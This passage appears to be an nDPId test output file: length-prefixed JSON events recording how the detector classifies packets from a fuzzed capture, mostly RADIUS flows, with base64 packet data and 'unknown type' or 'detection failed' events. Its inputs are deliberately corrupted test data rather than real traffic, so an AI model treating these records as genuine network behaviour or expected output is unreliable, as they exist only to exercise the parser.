AAAhoVAAA4IRYPU3RhZGl1bURpcmVjdBoMAAAFgwcGwFBKmVAS7YR7iU74FmJPxnRlVfzqUQ=="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":278,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1528998260755,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.6.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":279,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1528998260831,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.82.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00596{"flow_id":61,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":279,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998260,"pkt_ts_usec":831633,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"ABRP+4rqcNuYVcUnCABFAAClC7JAAPwRSFTG4hk1ClJAHgcUchAAkW2jC5YAiay3x5utrN9ef0\/5StJEFS4BNTAzMTE0ODAyODE1MDE1ODlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE5NWUvZTA6NWY6NDU6OTA6MDk6NWYvMjM4Tw4BAAAMVwwAAAwBf\/xQEkJeR7D8c3a4+60+qxnUicM="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":279,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1528998260831,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.82.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +01247{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":280,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998260,"pkt_ts_usec":959519,"pkt_caplen":697,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":697,"pkt_l4_len":0,"pkt":"AAAMB6qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00173{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":280,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":43690} +00590{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":281,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998261,"pkt_ts_usec":24256,"pkt_caplen":206,"pkt_type":2056,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"pkt":"ABRX+4rqcNuYVcUnCAhFAADAC7dAAPwRSDTG4hk1CgxAHgcUchAArEQCA5cApOyxS9lHKp\/iE8OGfXn5m7UBNTAzMTE0ODAwODE1MDE1ODlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE5NWEvZTA6NWY6NDU6OTA6MDk6NWYvMjM4EiIzMjc2NCBTdWJzY3JpYmVyIG5vdCBwcm92aXNpb25lZE8HBAEABwBQEvCuKaRJ36jDL+AkcQNYHtM="} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":281,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":2056} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":282,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1528998260755,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.6.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":282,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1528998260831,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.82.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00556{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":283,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998279,"pkt_ts_usec":670634,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"pkt":"gBRP+yUAcNuYVcUnCABFADClC+NAAPsRSSPG4hk1CgxAHgcUchAAkf3TC5gAiaqvlSxwmtnYRSbHVUGZo3ABNTAzMTE0ODA0MzI2MDg1ODabd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE5ODcvNWM6MWQ6ZDk6NTM6MGM6OWIvMjM5Tw4BAAAMFwwAAAwBf\/xQEnv5mqy\/X1rSPl3U34VdPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":283,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":145} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":284,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1528998279797,"flow_last_seen":0,"flow_tot_l4_data_len":663,"flow_min_l4_data_len":663,"flow_max_l4_data_len":663,"flow_avg_l4_data_len":663,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.80.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01288{"flow_id":62,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":284,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998279,"pkt_ts_usec":797842,"pkt_caplen":697,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":697,"pkt_l4_len":663,"pkt":"AAAMB6xAABRP+4rqCABFAAKrIUlAAP8RAAAKDEAexuJQNXIQBxQClwAAAZkCj3rtQEtjvnzCegZr\/ks\/YsIaCgAAJQAOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM3NwZbIq2HATUwMzExNDgwNDMyNjA4NTg2QHNsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TNWMtMWQtZDktNTMtMGMtOWIeJTAwLWE3LTQyLWQwLWUwLTAwOlaNcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwZDA4N2E5MjI1YiwgNWIyMmE5ODcvFWM6MWQ6ZDk6NTM6MGM6OWIvMjM5BASsFAEQIA5WWldDMlRlc3RMYWIaDPYAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TwoCAAAIFwwAABoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyCoKU3RhbmRhqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":284,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1528998279797,"flow_last_seen":0,"flow_tot_l4_data_len":663,"flow_min_l4_data_len":663,"flow_max_l4_data_len":663,"flow_avg_l4_data_len":663,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.80.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":291,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1528998285403,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"14.12.64.30","src_port":3860,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00596{"flow_id":63,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":291,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998285,"pkt_ts_usec":403937,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"ABRP+4rqcNuYVcUnCABFAAClDBBAAPwRR\/bG4hk1DgxAHg8UchAAkVlTC5wAid6Vm2Prh8ff1igjujrPQY0BNTAzMTE0ODA0MzI2MDg1ODZAd2xhbi5tbmM0ODAubWPjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmELODcvNWM6MWQ6ZDk6NTM6MGM6OWIvMjM5Tw4BAAAMFwwAAAwBf\/xQEvWoCrn3KdnMpOYKRlABwJ8="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":291,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1528998285403,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"14.12.64.30","src_port":3860,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00590{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":293,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998285,"pkt_ts_usec":592193,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"pkt":"ABRP+4rqcNuYVcUnCABFAADADBdAEPwRR9TG4hlFCgxAHgcUchAArDMCA50ApI8fGqCVnysbmexp5ciWlfwBJTAzMTE0ODA0MzI2MDg1ODZAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE5ODcvNWM6MWQ6ZDk6NTM6MGM6OWIvMjM5EiIzMjc2NCBTqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":293,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":172} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":294,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1528998279797,"flow_last_seen":0,"flow_tot_l4_data_len":663,"flow_min_l4_data_len":663,"flow_max_l4_data_len":663,"flow_avg_l4_data_len":663,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.80.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":294,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1528998285403,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"14.12.64.30","src_port":3860,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":295,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1528998307737,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.7.9.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00675{"flow_id":64,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":295,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998307,"pkt_ts_usec":737757,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"ABRP+4rqcNuYVcUnCABFAADhDH5AAPsRSEzGBwk1CgxAHgcUchAAzRApC54AxbiGAVeQd4nw9IQcbiUA5zoBNTAzMTM0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE5NTIvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjM3T0oBAnZIFwEAAAEFAAD4l2tdy6yk\/88l9cpE8l40DAUAACRoRug2qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":295,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1528998307737,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.7.9.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":296,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1528998308061,"flow_last_seen":0,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":691,"flow_max_l4_data_len":691,"flow_avg_l4_data_len":691,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29232,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01321{"flow_id":65,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":296,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998308,"pkt_ts_usec":61932,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":725,"pkt_l4_len":691,"pkt":"AAAMB3BAABRP+4rqCABFAALHIU9AAP8RAAAKDEAexuIZNXIwBxRDswAAAZ8Cq9PofZmSNOhQyNOgaRsyJ1QaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNYUjEwGgkAADghDQMwNxZbIqmjATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yaS5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b243aUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkczEwZmYxMGFjMDAwMDAwY2U1MmE5MjI1YiwgNWIyMmE5NTIvZjA6Nzk6JQA6ZDE6N2Q6MzcvMjM3BAasFAEQIA5WWldDhFRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TyYCAgAkFwEAAAsFAADqGOBIENmf79hbM4GZs1ZYAwIAIJdiOR0aFAC4V8gHDlZaV0MyVGVzdExhYhoKAABXyAgERVQaEAAAV8gKClN0YW5kYXJkGhBhAFfICwpUZXN0IExhYhoJAABXyA8DMRoKpwBXyBAETkoaEQAAV8gRC0x5bmRodXJzdBoMAABXyBIGAAAAyRoXAABXyB0RVlpXIEMyIFRlc3QgTGFiGgsAAFfIJQVWelcaDQAAOCEOBzA3MDcxGgwAADghEQYAAAAAGhUAADghEg9JbnZhbGlkIFZhbHVlGh0AADghExc0MC44MDQ4ODJOLTc0LjEwMjgzOVcaDAAAOCEUBgAAAQIaDAAAOCEVBgAAAAIaFQAAOCEWD1N0YWRpdW1EaHJlY3QaDAAABYNHBsBQSplQEuURqTNatQDGcJFc00xUIbY="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":296,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1528998308061,"flow_last_seen":0,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":691,"flow_max_l4_data_len":691,"flow_avg_l4_data_len":691,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29232,"dst_port":1812,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00741{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":297,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998308,"pkt_ts_usec":249791,"pkt_caplen":318,"pkt_type":16640,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"pkt":"ABRP+4rqcNu2VcUnQQBFAAEwDINAAPsRR\/jG4hk1CgwlAAcUchABHKZIAp8BFMKP3L7bmNggOPWkTIavpgoaCwAAV8gbBVNQQxpuAAABNxA0723Z5fHoC0l+gadvadgzfaSzCz27rPwxopk71TEDK1VIm8mW\/vsFxUsHy2TxysAjZO8RNM3E07NOswLZR1Yjduj2RuApthb0mlkqWQZZpjfg4Vd1eYt2TqpojJTwm8thaNHCskFYATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLiUAYzMxMS4zZ3BwbmV0d29yay5vcmcsIDViMjJhOTUyL2YwOjc5OlAwOmQxOjdkOjM3LzIzN1kMOTA4NDIxMzI5MhIJU3VjY2VzcxkFeVBDTwYDAgAEUBIoTJCJ2HxVvdUlAOn56UH9"} +00173{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":297,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":16640} +01312{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":298,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998308,"pkt_ts_usec":483432,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"pkt":"AAAMB6xAABRP+4rqCAAkAALbIVBAAP8RAAAKDEAexuIZNXIQBxQCxwAAAaACv\/i0glgkXqR4abyMOyu1FuUaCgAAV8gOBFVTGgwAAFfIDSUAaWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMwNwZbIqmkATUwMzExNDgwNDMyNjA4NTg2QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TNWMtMWQtZDktNTMtMGMtOWIeJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpLi1zZXNzaW9uLWl0PTEwZmYxMGFjMDAwMDAwZDFhNGE5MjI1YiwgNWIyMmE5YTQvNWM6MWQ6ZDE6NTM6MGM6OWIvMjQwBAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABFABgAAAA1BBgAAAAZRBDU2TzoCAQA4ATAzMTE0ODA0MzJoMDg1ODbWd2xhbi5tbkM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhdWQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGVzdCBMYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNDg4Mk4tNzQuMTAyODM5VxoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAhoVAAA4IRYPU3RhZCUAbURpcmVjdBoMAAAFgwdbwFBKmVAS3DaqxzVlY8YVdJMYTWA\/Jw=="} +00167{"basic_event_id":2,"basic_event_name":"Unknown L3 protocol","thread_id":0,"packet_id":298,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":307,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1528998314309,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.81.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00595{"flow_id":66,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":307,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998314,"pkt_ts_usec":309308,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"ABRP+4pIcNuYVcUnCABFAAClDKJAAPwRR2TG4hk1ClFAHgcUchAAkVZiC6QAiXXtUkUY2UEpsUhCUrecX98BNTAzMTE0ODA0MzI2MDg1ODZAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE5YTQvNWM6MWQ6ZDk6NTM6MGM6OWIvMjQwTw4BAAAMFwwAAAwBf\/xQEi8FyNCyWjoJnDm8uRInVVc="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":307,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1528998314309,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.81.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":309,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1528998314512,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":43028,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00631{"flow_id":67,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":309,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998314,"pkt_ts_usec":512887,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"ABRP+4rqcNuYVcUnCABFAADADKZAAPwRR0XG4hk1CgxAHqgUchAArLr7A6UApAJ1Pjz8JGCwuo5GIgtQcZwBNTAzMTE0ODA0MzI2MDg1ODZAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm5yZywgNWIyMmE5YTQvNWM6MWQ6ZDk6QjM6MGM6OWIvMjQwEiIzMjc2NCBTdWJzY3JpYmVyIG5vdCBwcm92a3Npa25lZE8HBAEABwBQEil3cnDy8\/cVSnBQY7FdIyI="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":309,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1528998314512,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":43028,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} 